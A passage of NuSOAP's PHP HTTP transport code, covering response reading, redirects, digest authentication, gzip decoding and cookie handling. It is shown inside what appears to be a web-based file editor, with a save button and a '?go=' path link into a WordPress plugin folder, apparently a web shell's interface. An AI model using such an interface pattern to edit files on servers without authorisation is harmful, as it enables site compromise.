		} elseif (isset($this-&gt;incoming_headers['content-length'])) {
			$content_length = $this-&gt;incoming_headers['content-length'];
			$chunked = false;
			$this-&gt;debug(&quot;want to read content of length $content_length&quot;);
		} else {
			$content_length =  2147483647;
			$chunked = false;
			$this-&gt;debug(&quot;want to read content to EOF&quot;);
		}
		$data = '';
		do {
			if ($chunked) {
				$tmp = fgets($this-&gt;fp, 256);
				$tmplen = strlen($tmp);
				$this-&gt;debug(&quot;read chunk line of $tmplen bytes&quot;);
				if ($tmplen == 0) {
					$this-&gt;incoming_payload = $data;
					$this-&gt;debug('socket read of chunk length timed out after length ' . strlen($data));
					$this-&gt;debug(&quot;read before timeout:\n&quot; . $data);
					$this-&gt;setError('socket read of chunk length timed out');
					return false;
				}
				$content_length = hexdec(trim($tmp));
				$this-&gt;debug(&quot;chunk length $content_length&quot;);
			}
			$strlen = 0;
		    while (($strlen &lt; $content_length) &amp;&amp; (!feof($this-&gt;fp))) {
		    	$readlen = min(8192, $content_length - $strlen);
				$tmp = fread($this-&gt;fp, $readlen);
				$tmplen = strlen($tmp);
				$this-&gt;debug(&quot;read buffer of $tmplen bytes&quot;);
				if (($tmplen == 0) &amp;&amp; (!feof($this-&gt;fp))) {
					$this-&gt;incoming_payload = $data;
					$this-&gt;debug('socket read of body timed out after length ' . strlen($data));
					$this-&gt;debug(&quot;read before timeout:\n&quot; . $data);
					$this-&gt;setError('socket read of body timed out');
					return false;
				}
				$strlen += $tmplen;
				$data .= $tmp;
			}
			if ($chunked &amp;&amp; ($content_length &gt; 0)) {
				$tmp = fgets($this-&gt;fp, 256);
				$tmplen = strlen($tmp);
				$this-&gt;debug(&quot;read chunk terminator of $tmplen bytes&quot;);
				if ($tmplen == 0) {
					$this-&gt;incoming_payload = $data;
					$this-&gt;debug('socket read of chunk terminator timed out after length ' . strlen($data));
					$this-&gt;debug(&quot;read before timeout:\n&quot; . $data);
					$this-&gt;setError('socket read of chunk terminator timed out');
					return false;
				}
			}
		} while ($chunked &amp;&amp; ($content_length &gt; 0) &amp;&amp; (!feof($this-&gt;fp)));
		if (feof($this-&gt;fp)) {
			$this-&gt;debug('read to EOF');
		}
		$this-&gt;debug('read body of length ' . strlen($data));
		$this-&gt;incoming_payload .= $data;
		$this-&gt;debug('received a total of '.strlen($this-&gt;incoming_payload).' bytes of data from server');

		// close filepointer
		if(
			(isset($this-&gt;incoming_headers['connection']) &amp;&amp; strtolower($this-&gt;incoming_headers['connection']) == 'close') ||
			(! $this-&gt;persistentConnection) || feof($this-&gt;fp)){
			fclose($this-&gt;fp);
			$this-&gt;fp = false;
			$this-&gt;debug('closed socket');
		}

		// connection was closed unexpectedly
		if($this-&gt;incoming_payload == ''){
			$this-&gt;setError('no response from server');
			return false;
		}

		// decode transfer-encoding
//		if(isset($this-&gt;incoming_headers['transfer-encoding']) &amp;&amp; strtolower($this-&gt;incoming_headers['transfer-encoding']) == 'chunked'){
//			if(!$data = $this-&gt;decodeChunked($data, $lb)){
//				$this-&gt;setError('Decoding of chunked data failed');
//				return false;
//			}
			//print &quot;&lt;pre&gt;\nde-chunked:\n---------------\n$data\n\n---------------\n&lt;/pre&gt;&quot;;
			// set decoded payload
//			$this-&gt;incoming_payload = $header_data.$lb.$lb.$data;
//		}

	  } else if ($this-&gt;io_method() == 'curl') {
		// send and receive
		$this-&gt;debug('send and receive with cURL');
		$this-&gt;incoming_payload = curl_exec($this-&gt;ch);
		$data = $this-&gt;incoming_payload;

        $cErr = curl_error($this-&gt;ch);
		if ($cErr != '') {
        	$err = 'cURL ERROR: '.curl_errno($this-&gt;ch).': '.$cErr.'&lt;br&gt;';
        	// TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE
			foreach(curl_getinfo($this-&gt;ch) as $k =&gt; $v){
				$err .= &quot;$k: $v&lt;br&gt;&quot;;
			}
			$this-&gt;debug($err);
			$this-&gt;setError($err);
			curl_close($this-&gt;ch);
	    	return false;
		} else {
			//echo '&lt;pre&gt;';
			//var_dump(curl_getinfo($this-&gt;ch));
			//echo '&lt;/pre&gt;';
		}
		// close curl
		$this-&gt;debug('No cURL error, closing cURL');
		curl_close($this-&gt;ch);

		// try removing skippable headers
		$savedata = $data;
		while ($this-&gt;isSkippableCurlHeader($data)) {
			$this-&gt;debug(&quot;Found HTTP header to skip&quot;);
			if ($pos = strpos($data,&quot;\r\n\r\n&quot;)) {
				$data = ltrim(substr($data,$pos));
			} elseif($pos = strpos($data,&quot;\n\n&quot;) ) {
				$data = ltrim(substr($data,$pos));
			}
		}

		if ($data == '') {
			// have nothing left; just remove 100 header(s)
			$data = $savedata;
			while (preg_match('/^HTTP\/1.1 100/',$data)) {
				if ($pos = strpos($data,&quot;\r\n\r\n&quot;)) {
					$data = ltrim(substr($data,$pos));
				} elseif($pos = strpos($data,&quot;\n\n&quot;) ) {
					$data = ltrim(substr($data,$pos));
				}
			}
		}

		// separate content from HTTP headers
		if ($pos = strpos($data,&quot;\r\n\r\n&quot;)) {
			$lb = &quot;\r\n&quot;;
		} elseif( $pos = strpos($data,&quot;\n\n&quot;)) {
			$lb = &quot;\n&quot;;
		} else {
			$this-&gt;debug('no proper separation of headers and document');
			$this-&gt;setError('no proper separation of headers and document');
			return false;
		}
		$header_data = trim(substr($data,0,$pos));
		$header_array = explode($lb,$header_data);
		$data = ltrim(substr($data,$pos));
		$this-&gt;debug('found proper separation of headers and document');
		$this-&gt;debug('cleaned data, stringlen: '.strlen($data));
		// clean headers
		foreach ($header_array as $header_line) {
			$arr = explode(':',$header_line,2);
			if(count($arr) &gt; 1){
				$header_name = strtolower(trim($arr[0]));
				$this-&gt;incoming_headers[$header_name] = trim($arr[1]);
				if ($header_name == 'set-cookie') {
					// TODO: allow multiple cookies from parseCookie
					$cookie = $this-&gt;parseCookie(trim($arr[1]));
					if ($cookie) {
						$this-&gt;incoming_cookies[] = $cookie;
						$this-&gt;debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']);
					} else {
						$this-&gt;debug('did not find cookie in ' . trim($arr[1]));
					}
    			}
			} else if (isset($header_name)) {
				// append continuation line to previous header
				$this-&gt;incoming_headers[$header_name] .= $lb . ' ' . $header_line;
			}
		}
	  }

		$this-&gt;response_status_line = $header_array[0];
		$arr = explode(' ', $this-&gt;response_status_line, 3);
		$http_version = $arr[0];
		$http_status = intval($arr[1]);
		$http_reason = count($arr) &gt; 2 ? $arr[2] : '';

 		// see if we need to resend the request with http digest authentication
 		if (isset($this-&gt;incoming_headers['location']) &amp;&amp; ($http_status == 301 || $http_status == 302)) {
 			$this-&gt;debug(&quot;Got $http_status $http_reason with Location: &quot; . $this-&gt;incoming_headers['location']);
 			$this-&gt;setURL($this-&gt;incoming_headers['location']);
			$this-&gt;tryagain = true;
			return false;
		}

 		// see if we need to resend the request with http digest authentication
 		if (isset($this-&gt;incoming_headers['www-authenticate']) &amp;&amp; $http_status == 401) {
 			$this-&gt;debug(&quot;Got 401 $http_reason with WWW-Authenticate: &quot; . $this-&gt;incoming_headers['www-authenticate']);
 			if (strstr($this-&gt;incoming_headers['www-authenticate'], &quot;Digest &quot;)) {
 				$this-&gt;debug('Server wants digest authentication');
 				// remove &quot;Digest &quot; from our elements
 				$digestString = str_replace('Digest ', '', $this-&gt;incoming_headers['www-authenticate']);

 				// parse elements into array
 				$digestElements = explode(',', $digestString);
 				foreach ($digestElements as $val) {
 					$tempElement = explode('=', trim($val), 2);
 					$digestRequest[$tempElement[0]] = str_replace(&quot;\&quot;&quot;, '', $tempElement[1]);
 				}

				// should have (at least) qop, realm, nonce
 				if (isset($digestRequest['nonce'])) {
 					$this-&gt;setCredentials($this-&gt;username, $this-&gt;password, 'digest', $digestRequest);
 					$this-&gt;tryagain = true;
 					return false;
 				}
 			}
			$this-&gt;debug('HTTP authentication failed');
			$this-&gt;setError('HTTP authentication failed');
			return false;
 		}

		if (
			($http_status &gt;= 300 &amp;&amp; $http_status &lt;= 307) ||
			($http_status &gt;= 400 &amp;&amp; $http_status &lt;= 417) ||
			($http_status &gt;= 501 &amp;&amp; $http_status &lt;= 505)
		   ) {
			$this-&gt;setError(&quot;Unsupported HTTP response status $http_status $http_reason (soapclient-&gt;response has contents of the response)&quot;);
			return false;
		}

		// decode content-encoding
		if(isset($this-&gt;incoming_headers['content-encoding']) &amp;&amp; $this-&gt;incoming_headers['content-encoding'] != ''){
			if(strtolower($this-&gt;incoming_headers['content-encoding']) == 'deflate' || strtolower($this-&gt;incoming_headers['content-encoding']) == 'gzip'){
    			// if decoding works, use it. else assume data wasn't gzencoded
    			if(function_exists('gzinflate')){
					//$timer-&gt;setMarker('starting decoding of gzip/deflated content');
					// IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress)
					// this means there are no Zlib headers, although there should be
					$this-&gt;debug('The gzinflate function exists');
					$datalen = strlen($data);
					if ($this-&gt;incoming_headers['content-encoding'] == 'deflate') {
						if ($degzdata = @gzinflate($data)) {
	    					$data = $degzdata;
	    					$this-&gt;debug('The payload has been inflated to ' . strlen($data) . ' bytes');
	    					if (strlen($data) &lt; $datalen) {
	    						// test for the case that the payload has been compressed twice
		    					$this-&gt;debug('The inflated payload is smaller than the gzipped one; try again');
								if ($degzdata = @gzinflate($data)) {
			    					$data = $degzdata;
			    					$this-&gt;debug('The payload has been inflated again to ' . strlen($data) . ' bytes');
								}
	    					}
	    				} else {
	    					$this-&gt;debug('Error using gzinflate to inflate the payload');
	    					$this-&gt;setError('Error using gzinflate to inflate the payload');
	    				}
					} elseif ($this-&gt;incoming_headers['content-encoding'] == 'gzip') {
						if ($degzdata = @gzinflate(substr($data, 10))) {	// do our best
							$data = $degzdata;
	    					$this-&gt;debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes');
	    					if (strlen($data) &lt; $datalen) {
	    						// test for the case that the payload has been compressed twice
		    					$this-&gt;debug('The un-gzipped payload is smaller than the gzipped one; try again');
								if ($degzdata = @gzinflate(substr($data, 10))) {
			    					$data = $degzdata;
			    					$this-&gt;debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes');
								}
	    					}
	    				} else {
	    					$this-&gt;debug('Error using gzinflate to un-gzip the payload');
							$this-&gt;setError('Error using gzinflate to un-gzip the payload');
	    				}
					}
					//$timer-&gt;setMarker('finished decoding of gzip/deflated content');
					//print &quot;&lt;xmp&gt;\nde-inflated:\n---------------\n$data\n-------------\n&lt;/xmp&gt;&quot;;
					// set decoded payload
					$this-&gt;incoming_payload = $header_data.$lb.$lb.$data;
    			} else {
					$this-&gt;debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.');
					$this-&gt;setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.');
				}
			} else {
				$this-&gt;debug('Unsupported Content-Encoding ' . $this-&gt;incoming_headers['content-encoding']);
				$this-&gt;setError('Unsupported Content-Encoding ' . $this-&gt;incoming_headers['content-encoding']);
			}
		} else {
			$this-&gt;debug('No Content-Encoding header');
		}

		if(strlen($data) == 0){
			$this-&gt;debug('no data after headers!');
			$this-&gt;setError('no data present after HTTP headers');
			return false;
		}

		return $data;
	}

	/**
	 * sets the content-type for the SOAP message to be sent
	 *
	 * @param	string $type the content type, MIME style
	 * @param	mixed $charset character set used for encoding (or false)
	 * @access	public
	 */
	function setContentType($type, $charset = false) {
		$this-&gt;setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : ''));
	}

	/**
	 * specifies that an HTTP persistent connection should be used
	 *
	 * @return	boolean whether the request was honored by this method.
	 * @access	public
	 */
	function usePersistentConnection(){
		if (isset($this-&gt;outgoing_headers['Accept-Encoding'])) {
			return false;
		}
		$this-&gt;protocol_version = '1.1';
		$this-&gt;persistentConnection = true;
		$this-&gt;setHeader('Connection', 'Keep-Alive');
		return true;
	}

	/**
	 * parse an incoming Cookie into it's parts
	 *
	 * @param	string $cookie_str content of cookie
	 * @return	array with data of that cookie
	 * @access	private
	 */
	/*
	 * TODO: allow a Set-Cookie string to be parsed into multiple cookies
	 */
	function parseCookie($cookie_str) {
		$cookie_str = str_replace('; ', ';', $cookie_str) . ';';
		$data = preg_split('/;/', $cookie_str);
		$value_str = $data[0];

		$cookie_param = 'domain=';
		$start = strpos($cookie_str, $cookie_param);
		if ($start &gt; 0) {
			$domain = substr($cookie_str, $start + strlen($cookie_param));
			$domain = substr($domain, 0, strpos($domain, ';'));
		} else {
			$domain = '';
		}

		$cookie_param = 'expires=';
		$start = strpos($cookie_str, $cookie_param);
		if ($start &gt; 0) {
			$expires = substr($cookie_str, $start + strlen($cookie_param));
			$expires = substr($expires, 0, strpos($expires, ';'));
		} else {
			$expires = '';
		}

		$cookie_param = 'path=';
		$start = strpos($cookie_str, $cookie_param);
		if ( $start &gt; 0 ) {
			$path = substr($cookie_str, $start + strlen($cookie_param));
			$path = substr($path, 0, strpos($path, ';'));
		} else {
			$path = '/';
		}

		$cookie_param = ';secure;';
		if (strpos($cookie_str, $cookie_param) !== FALSE) {
			$secure = true;
		} else {
			$secure = false;
		}

		$sep_pos = strpos($value_str, '=');

		if ($sep_pos) {
			$name = substr($value_str, 0, $sep_pos);
			$value = substr($value_str, $sep_pos + 1);
			$cookie= array(	'name' =&gt; $name,
			                'value' =&gt; $value,
							'domain' =&gt; $domain,
							'path' =&gt; $path,
							'expires' =&gt; $expires,
							'secure' =&gt; $secure
							);
			return $cookie;
		}
		return false;
	}

	/**
	 * sort out cookies for the current request
	 *
	 * @param	array $cookies array with all cookies
	 * @param	boolean $secure is the send-content secure or not?
	 * @return	string for Cookie-HTTP-Header
	 * @access	private
	 */
	function getCookiesForRequest($cookies, $secure=false) {
		$cookie_str = '';
		if ((! is_null($cookies)) &amp;&amp; (is_array($cookies))) {
			foreach ($cookies as $cookie) {
				if (! is_array($cookie)) {
					continue;
				}
	    		$this-&gt;debug(&quot;check cookie for validity: &quot;.$cookie['name'].'='.$cookie['value']);
				if ((isset($cookie['expires'])) &amp;&amp; (! empty($cookie['expires']))) {
					if (strtotime($cookie['expires']) &lt;= time()) {
						$this-&gt;debug('cookie has expired');
						continue;
					}
				}
				if ((isset($cookie['domain'])) &amp;&amp; (! empty($cookie['domain']))) {
					$domain = preg_quote($cookie['domain']);
					if (! preg_match(&quot;'.*$domain$'i&quot;, $this-&gt;host)) {
						$this-&gt;debug('cookie has different domain');
						continue;
					}
				}
				if ((isset($cookie['path'])) &amp;&amp; (! empty($cookie['path']))) {
					$path = preg_quote($cookie['path']);
					if (! preg_match(&quot;'^$path.*'i&quot;, $this-&gt;path)) {
						$this-&gt;debug('cookie is for a different path');
						continue;
					}
				}
				if ((! $secure) &amp;&amp; (isset($cookie['secure'])) &amp;&amp; ($cookie['secure'])) {
					$this-&gt;debug('cookie is secure, transport is not');
					continue;
				}
				$cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; ';
	    		$this-&gt;debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']);
			}
		}
		return $cookie_str;
  }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FNusoap'>🔙 Back</a>